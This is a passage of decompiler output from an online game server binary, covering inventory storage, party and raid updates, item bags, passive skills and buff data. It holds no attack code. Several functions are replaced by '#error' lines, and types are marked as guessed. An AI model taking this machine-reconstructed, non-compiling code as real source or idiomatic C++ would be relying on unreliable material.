16); if ( v7 != v8 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : ItemNumber not match", (unsigned __int8)v7 - v8); if ( ProtocolPacket::pp_SetPacketLen(&gpp, itemlen + 14) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", itemlen + 14); } v10 = *((_BYTE *)v2 + 23352); if ( !(v10 & 0x20) ) { v11 = *(_BYTE *)(accstorage + 7); if ( v11 ) { if ( v11 == 1 ) { *((_BYTE *)v2 + 23352) = v10 | 0x20; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_accountstoragefill : AccountStorage Flag Error", 0); } } else { *((_BYTE *)v2 + 23352) = v10 | 0x10; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_accountstoragefill"); } //----- (00441860) -------------------------------------------------------- #error "441860: undefined or illegal type '#593' (funcsize=66)" //----- (00441960) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_Getchestinform(int chest) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_Getchestinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_Getchestinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_Getchestinform"); } //----- (004419B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Getchestinform(void *this, int chest) { void *v2; // ebp@1 signed int v3; // ebx@1 int v4; // edi@2 int v5; // eax@3 unsigned int v6; // ecx@5 int v7; // eax@6 int v8; // ecx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; BitSet::bs_clear((BitSet *)((char *)v2 + 139627)); if ( *(_WORD *)chest > 0u ) { v4 = chest + 2; do { v5 = *(_WORD *)v4; if ( (unsigned int)v5 < *(_DWORD *)((char *)v2 + 139631) ) { v6 = *(_WORD *)v4; if ( v6 < *(_DWORD *)((char *)v2 + 139631) ) { v7 = *(_DWORD *)((char *)v2 + 139627) + (v6 >> 3); v8 = v6 & 0x80000007; if ( v8 < 0 ) LOBYTE(v8) = ((unsigned __int8)(v8 - 1) | 0xF8) + 1; *(_BYTE *)v7 |= 1 << v8; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform : Too large location", v5); } ++v3; v4 += 2; } while ( v3 < *(_WORD *)chest ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"); } //----- (00441AB0) -------------------------------------------------------- #error "441AB0: undefined or illegal type '#593' (funcsize=66)" //----- (00441BB0) -------------------------------------------------------- #error "441BB0: undefined or illegal type '#593' (funcsize=117)" //----- (00441D50) -------------------------------------------------------- #error "441D50: undefined or illegal type '#593' (funcsize=58)" //----- (00441E40) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // esi@1 unsigned int v4; // ST04_4@1 RaidSystem *v5; // eax@1 unsigned __int16 v6; // ax@1 unsigned __int16 v7; // ST04_2@2 RaidSystem *v8; // eax@2 Raid *v9; // edi@2 Raid::iterator *v10; // eax@3 unsigned __int16 v11; // ax@7 unsigned __int16 v12; // di@7 int v13; // eax@9 Raid::iterator Finditer; // [sp+Ch] [bp-24h]@3 Raid::iterator result; // [sp+18h] [bp-18h]@3 int v16; // [sp+2Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd; v4 = *(_DWORD *)&netcmd[1].protocol; v16 = 0; v5 = RaidTask::GetRaidSystem(); v6 = RaidSystem::GetInRaidNumber(v5, v4); if ( v6 == -1 ) { v11 = CParty::PartyGetNo(&partycontainer, *(_DWORD *)&v3[1].protocol); v12 = v11; if ( v11 != -1 ) { if ( v11 < 0xFA0u ) { v13 = CParty::MemberGetNo(&partycontainer, v11, *(_DWORD *)&v3[1].protocol); if ( v13 >= 0 ) { if ( LOBYTE(v3[3].protocol) == 1 ) CParty::MemberLeave(&partycontainer, v12, *(_DWORD *)&v3[1].protocol); else Name4::operator_( (int)&partycontainer.m_Array[v12].Members[v13].MemberInform.Member.charname, (int)((char *)&v3[11].protocol + 1)); } } } } else { v7 = v6; v8 = RaidTask::GetRaidSystem(); v9 = RaidSystem::GetRaid(v8, v7); if ( v9 ) { Raid::Find(v9, &Finditer, *(_DWORD *)&v3[1].protocol); v10 = Raid::End(v9, &result); if ( Raid::iterator::operator__(&Finditer, v10) ) { if ( LOBYTE(v3[3].protocol) == 1 ) Raid::DeleteMember(v9, *(_DWORD *)&v3[1].protocol, (unsigned __int16 *)&netcmd); else Raid::iterator::UpdateMemberName(&Finditer, (Name4 *)((char *)&v3[11].protocol + 1)); } } } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"); } //----- (00441FC0) -------------------------------------------------------- void __thiscall ItemSmallBag::isb_Initializetotal(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { ItemSmallBag *v4; // ebx@1 signed int v5; // ebp@1 PROTO_ITEMPACKET_TOTAL *v6; // esi@1 int v7; // edi@3 int v8; // edi@5 unsigned __int16 v9; // ax@5 ItemTotalInformation itemtemp; // [sp+Ch] [bp-74h]@1 unsigned int v11; // [sp+7Ch] [bp-4h]@1 v11 = (unsigned int)&itemtemp ^ __security_cookie; v4 = this; v5 = 0; v6 = itmarr; if ( *itemcounter ) { while ( 1 ) { if ( (unsigned int)v6->location.Inven >> 10 != inventype ) goto LABEL_6; v7 = v6->location.Inven & 0x3FF; if ( (v6->location.Inven & 0x3FF) < v4->vfptr->isb_BagSizeOutput(v4) ) break; AssertClass::ac_AssertFail(&shineassert, "ItemSmallBag::isb_Initializetotal : Invalid slot", v7); v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + v6->datasize + 1); LABEL_7: ++v5; if ( v5 >= (unsigned __int8)*itemcounter ) return; } ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v6->info.iti_registnum.binary.gap0); v8 = (int)v4->vfptr->isb_GetInventoryCell(v4, v6->location.Inven & 0x3FF); ItemInform_ActionItem::sii_Import((ItemInform_ActionItem *)v8, &itemtemp); v9 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v8); *(_DWORD *)(v8 + 16) = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); LABEL_6: v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + v6->datasize + 1); goto LABEL_7; } } //----- (004420D0) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_FullBufferItem2Client(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box) { PROTO_ITEMPACKET_INFORM *v4; // esi@1 ItemSmallBag *v5; // ebx@1 ItemSmallBagVtbl *v6; // edx@1 ItemInform_ActionItem *v7; // eax@4 ItemInform_ActionItem *v8; // ebx@4 ItemAttributeClass *v9; // eax@6 unsigned __int16 v10; // ax@8 char v11; // al@8 PROTO_ITEMPACKET_INFORM *v12; // ecx@8 char v13; // al@8 ItemSmallBagVtbl *v14; // edx@9 int result; // eax@10 int slot; // [sp+10h] [bp-94h]@1 ItemSmallBag *v17; // [sp+14h] [bp-90h]@1 ItemAttributeClass *iac; // [sp+18h] [bp-8Ch]@6 PROTO_ITEMPACKET_INFORM *v19; // [sp+1Ch] [bp-88h]@1 FunctionEntarance _; // [sp+20h] [bp-84h]@1 ItemTotalInformation iti; // [sp+24h] [bp-80h]@6 unsigned int v22; // [sp+94h] [bp-10h]@1 int v23; // [sp+A0h] [bp-4h]@1 v4 = itmarr; v5 = this; v22 = (unsigned int)&slot ^ __security_cookie; v17 = this; v19 = itmarr; _.fe_FunctionCode = "ItemSmallBag::isb_FullBufferItem2Client"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemSmallBag::isb_FullBufferItem2Client"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemSmallBag::isb_FullBufferItem2Client"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *itemcounter = 0; v6 = v5->vfptr; v23 = 0; slot = 0; if ( v6->isb_BagSizeOutput(v5) > 0 ) { while ( 1 ) { v7 = (ItemInform_ActionItem *)v5->vfptr->isb_GetInventoryCell(v5, slot); v8 = v7; if ( v7 ) { if ( ItemInventoryCell::iic_ItemIdent(v7) != -1 ) { ItemInform_ActionItem::sii_Export(v8, &iti); v4->location.Inven = ((_WORD)box << 10) ^ slot & 0x3FF; v9 = *(ItemAttributeClass **)&v8[1].iiai_RegistNumber.binary.gap0[2]; iac = (ItemAttributeClass *)&itmattcontainer; if ( v9 ) iac = v9; v10 = ItemInventoryCell::iic_ItemIdent(v8); v11 = (unsigned int)ItemTotalInformation::iti_fill2buffer_union(&iti, iac, v10, (char *)&v4->info); v12 = v19; v13 = v11 - ((_BYTE)v4 + 3) + 2; v4->datasize = v13; v4 = (PROTO_ITEMPACKET_INFORM *)((char *)v4 + (unsigned __int8)v13 + 1); ++*itemcounter; if ( (signed int)((char *)v4 - (char *)v12) >= 8000 ) break; } } v14 = v17->vfptr; ++slot; if ( slot >= ((int (*)(void))v14->isb_BagSizeOutput)() ) break; v5 = v17; } } --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemSmallBag::isb_FullBufferItem2Client"); __security_check_cookie((unsigned int)&slot ^ v22); return result; } //----- (00442270) -------------------------------------------------------- #error "442270: undefined or illegal type '#615' (funcsize=235)" //----- (00442610) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer(void *this, int itemlist) { void *v2; // ebp@1 char v3; // al@1 int v4; // eax@11 bool v5; // sf@14 char *v6; // esi@15 char v7; // al@15 char v8; // dl@15 int v9; // esi@15 int v10; // eax@16 char v11; // cl@16 int v12; // ebx@16 int v13; // esi@16 int v14; // ebx@18 int v15; // eax@20 char v16; // bl@21 int i; // eax@21 int v18; // edi@22 int v19; // eax@24 int box; // [sp+10h] [bp-2Ch]@1 int from; // [sp+14h] [bp-28h]@21 int ibii; // [sp+18h] [bp-24h]@9 char *v23; // [sp+1Ch] [bp-20h]@9 int v24; // [sp+20h] [bp-1Ch]@9 int v25; // [sp+24h] [bp-18h]@9 FunctionEntarance _; // [sp+28h] [bp-14h]@1 unsigned int v27; // [sp+2Ch] [bp-10h]@1 int v28; // [sp+38h] [bp-4h]@1 v2 = this; v27 = (unsigned int)&box ^ __security_cookie; _.fe_FunctionCode = (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_BYTE *)(itemlist + 1); v28 = 0; if ( v3 & 4 ) { box = 9; ItemBag::ib_Initializetotal( (ItemBag *)v2 + 8920, (char *)(itemlist + 2), (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3), 9); } else { if ( v3 & 8 ) { box = 8; ItemBag::ib_Initializetotal( (ItemBag *)v2 + 8078, (char *)(itemlist + 2), (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3), 8); } else { if ( v3 & 0x10 ) { box = 12; ItemBag::ib_Initializetotal( (ItemBag *)v2 + 13243, (char *)(itemlist + 2), (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3), 12); } else { if ( v3 & 0x20 ) { box = 15; ItemSmallBag::isb_Initializetotal( (ItemSmallBag *)v2 + 14259, (char *)(itemlist + 2), (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3), 15); } } } } ibii = (int)&ItemBoxIterator::_vftable_; v23 = (char *)v2 + 35680; v25 = (*(int (**)(void))(*((_DWORD *)v2 + 8920) + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v28) = 1; v24 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v4 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( v4 ) (*(void (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 64))(v4); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); } v5 = *(_BYTE *)itemlist < 0; LOBYTE(v28) = 0; if ( v5 ) { v6 = gpp.pp_Buffer; v7 = box; *(_WORD *)gpp.pp_Buffer = 4167; v8 = v6[4]; v9 = (int)(v6 + 2); *(_BYTE *)(v9 + 1) = v7; *(_BYTE *)(v9 + 2) = v8 | 1; if ( v7 == 15 ) { v10 = ItemSmallBag::isb_FullBufferItem2Client( (ItemSmallBag *)v2 + 14259, (char *)v9, (PROTO_ITEMPACKET_INFORM *)(v9 + 3), 15); v11 = *(_BYTE *)v9; v12 = v10; LOBYTE(v10) = *(_BYTE *)(itemlist + 2); v13 = *(_BYTE *)v9 - (unsigned __int8)v10; if ( v11 != (_BYTE)v10 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : ItemNumber not match", v13); v14 = v12 + 5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v14); } } else { from = 0; v16 = 1; for ( i = CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)((char *)v2 + 32312), (char *)v9, (PROTO_ITEMPACKET_INFORM *)(v9 + 3), (unsigned __int8)box, &from, 8000, 0); i > 0; i = CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)((char *)v2 + 32312), (char *)v9, (PROTO_ITEMPACKET_INFORM *)(v9 + 3), *(_BYTE *)(v9 + 1), &from, 8000, 0) ) { v18 = i + 5; *(_BYTE *)(v9 + 2) ^= (v16 ^ *(_BYTE *)(v9 + 2)) & 1; v16 = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, i + 5) ) { v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v18); } } } } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum); __security_check_cookie((unsigned int)&box ^ v27); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00442920) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00442970) -------------------------------------------------------- #error "442970: undefined or illegal type '#593' (funcsize=56)" //----- (00442A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charpassivedata(void *this, int data) { void *v2; // ebx@1 Name4 *v3; // eax@1 char *v4; // eax@1 int v5; // esi@1 int v6; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[9].mts_CharRegnum); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[9].mts_CharRegnum; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; BitSet::bs_clear((BitSet *)v2 + 5711); std::list>::clear((std::list,std::allocator > > *)v2 + 5712); v3 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); CharacterPassiveList::cpl_Store( (CharacterPassiveList *)((char *)v2 + 68532), (PROTO_NC_CHAR_SKILL_PASSIVE_CMD *)data, v3); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4158; *((_WORD *)v4 + 1) = *(_WORD *)data; memcpy(v4 + 4, (const void *)(data + 2), 2 * *(_WORD *)data); v5 = 2 * *((_WORD *)v4 + 1) + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *((_WORD *)v4 + 1) + 4) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[7], v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63C688.maa_TargetSelect.targetlist.mam_Array[9].mts_CharRegnum); } //----- (00442BA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_CharChargedBuffData(void *this, unsigned __int16 *buff) { void *v2; // edi@1 char *v3; // esi@1 int v4; // ebx@1 unsigned __int16 *v5; // eax@1 bool v6; // zf@1 int v7; // edi@2 ChargedItemEffect *v8; // esi@3 DebugLogging *v9; // esi@4 _iobuf *v10; // eax@6 _iobuf *v11; // eax@11 ChargedItemEffectList::ChargedItemEffectElement *v12; // eax@12 int v13; // edx@14 bool v14; // sf@14 unsigned __int8 v15; // of@14 unsigned __int16 v16; // ax@16 int v17; // esi@16 DebugLogging *v18; // esi@18 _iobuf *v19; // eax@21 int v20; // eax@22 int v21; // [sp+10h] [bp-28h]@2 int k; // [sp+14h] [bp-24h]@1 void *v23; // [sp+18h] [bp-20h]@1 char *nc; // [sp+1Ch] [bp-1Ch]@1 ListIteratorDefault arg; // [sp+24h] [bp-14h]@1 char *v26; // [sp+28h] [bp-10h]@1 int v27; // [sp+34h] [bp-4h]@1 v2 = this; v23 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63C688.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63C688.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = (int)((char *)v2 + 142064); v27 = 0; nc = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4170; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v26 = (char *)v2 + 142064; LOBYTE(v27) = 1; List::l_4AllInList((List *)((char *)v2 + 142064), &arg); v5 = buff; v6 = *buff == 0; LOBYTE(v27) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; k = 0; if ( v6 ) { LABEL_16: v16 = *v5; *((_WORD *)v3 + 1) = v16; v17 = 14 * v16 + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14 * v16 + 4) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_63C688.maa_TargetSelect.nobrain.baseclass_0.baseclass_0.mts_SightRange, v17); } goto LABEL_23; } v21 = (int)(v3 + 4); v7 = (int)(buff + 6); while ( 1 ) { v8 = ChargedItemEffectDataBox::cideb_FindFromHandle(&chargedbuffdatabox, *(_WORD *)(v7 - 6)); if ( !v8 ) { v9 = DebugLogging::operator<<( &ChargedItemLog, (char *)&stru_63C688.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } if ( DebugLogging::dl_ActivAll && v9->dl_Activ && v9->dl_FilePointer ) { v11 = DebugLogging::dl_FilePoint(v9); fputc(10, v11); fflush(v9->dl_FilePointer); fclose(v9->dl_FilePointer); v9->dl_FilePointer = 0; } } goto LABEL_14; } v12 = (ChargedItemEffectList::ChargedItemEffectElement *)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 4))( v4, *(_WORD *)(v7 - 10)); if ( !v12 ) break; ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime( v12, v8, *(_DWORD *)v7 & 0xFF, (*(_DWORD *)v7 >> 8) & 0x1F, (*(_DWORD *)v7 >> 13) & 0x3F, (*(_DWORD *)v7 >> 19) & 0x3F, *(_DWORD *)v7 >> 25); *(_DWORD *)v21 = *(_DWORD *)(v7 - 10); *(_DWORD *)(v21 + 4) = *(_DWORD *)(v7 - 6); *(_DWORD *)(v21 + 8) = *(_DWORD *)(v7 - 2); *(_WORD *)(v21 + 12) = *(_WORD *)(v7 + 2); LABEL_14: v5 = buff; v13 = *buff; v7 += 14; v15 = __OFSUB__(k + 1, v13); v14 = k++ + 1 - v13 < 0; v21 += 14; if ( !(v14 ^ v15) ) { v2 = v23; v3 = nc; goto LABEL_16; } } v18 = DebugLogging::operator<<(&ChargedItemLog, (char *)&stru_63C688.maa_TargetSelect.aggresive); if ( DebugLogging::dl_ActivAll && v18->dl_Activ && v18->dl_FilePointer ) { v19 = DebugLogging::dl_FilePoint(v18); fputc(10, v19); fflush(v18->dl_FilePointer); fclose(v18->dl_FilePointer); v18->dl_FilePointer = 0; } LABEL_23: --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63C688.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00442EA0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned __int16 *_Keyval) { std::_Tree_nod,std::allocator >,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.first >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval.first ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00442F10) -------------------------------------------------------- #error "442F10: undefined or illegal type '#593' (funcsize=117)" //----- (004430A0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_clear(CharaterSkillList *this) { CharaterSkillList *v1; // esi@1 _BYTE v2[20]; // ST04_20@1 v1 = this; *(_DWORD *)v2 = 0; *(_QWORD *)&v2[4] = 0i64; *(_QWORD *)&v2[12] = 0i64; this->csl_SkillNumber = 0; std::vector>::resize( &this->csl_Skill, 0, *(CharaterSkillList::CharSkill *)v2); if ( v1->csl_ToggleSkill._Myfirst ) operator delete(v1->csl_ToggleSkill._Myfirst); v1->csl_ToggleSkill._Myfirst = 0; v1->csl_ToggleSkill._Mylast = 0; v1->csl_ToggleSkill._Myend = 0; } //----- (004430F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SetRegistNumber(void *this, int regnum) { void *v2; // edi@1 unsigned int v3; // eax@1 char *v4; // eax@1 __int16 v5; // cx@3 char *v6; // ebp@3 ZoneBaseSession *v7; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63C688.maa_MobActionStruct.turning.mat_LastTurn); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63C688.maa_MobActionStruct.turning.mat_LastTurn; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)(regnum + 10); *((_DWORD *)v4 + 1) = *(_DWORD *)(regnum + 14); *((_DWORD *)v4 + 2) = *(_DWORD *)(regnum + 18); *((_DWORD *)v4 + 3) = *(_DWORD *)(regnum + 22); v4[16] = 0; if ( *(_DWORD *)regnum == -1 || *(_DWORD *)(regnum + 4) == -1 ) { (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v2 + 1520))(v2, 1673, 0, 0); } else { ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(v2); v5 = *((_WORD *)v2 + 2); *(_DWORD *)((char *)v2 + 32167) = *(_DWORD *)regnum; *(_DWORD *)((char *)v2 + 32171) = *(_DWORD *)(regnum + 4); v6 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v5; *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_WORD *)v6 = 4124; *((_WORD *)v6 + 4) = *(_WORD *)(regnum + 8); *(_DWORD *)(v6 + 10) = *(_DWORD *)(regnum + 10); *(_DWORD *)(v6 + 14) = *(_DWORD *)(regnum + 14); *(_DWORD *)(v6 + 18) = *(_DWORD *)(regnum + 18); *(_DWORD *)(v6 + 22) = *(_DWORD *)(regnum + 22); *((_WORD *)v2 + 69808) = *((_WORD *)v6 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_63C688.maa_MobActionStruct.backstep, 26); } CharaterSkillList::csl_clear((CharaterSkillList *)((char *)v2 + 68496)); ShineObjectClass::ShineObject::so_LostSP((ItemAttributeClass *)v2, (ItemTotalInformation *)1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63C688.maa_MobActionStruct.turning.mat_LastTurn); } //----- (004432A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ProductSkillLearnLockClear(int this) { *(_BYTE *)(this + 23353) &= 0xF7u; } //----- (004432B0) -------------------------------------------------------- #error "4432B0: undefined or illegal type '#593' (funcsize=144)" //----- (004434B0) -------------------------------------------------------- #error "4434B0: undefined or illegal type '#593' (funcsize=59)" //----- (00443590) -------------------------------------------------------- #error "443590: undefined or illegal type '#593' (funcsize=71)" //----- (004436B0) -------------------------------------------------------- #error "4436B0: undefined or illegal type '#593' (funcsize=48)" //----- (00443780) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ(void *ecx0, int netcmd, int len, __int16 handle) { int 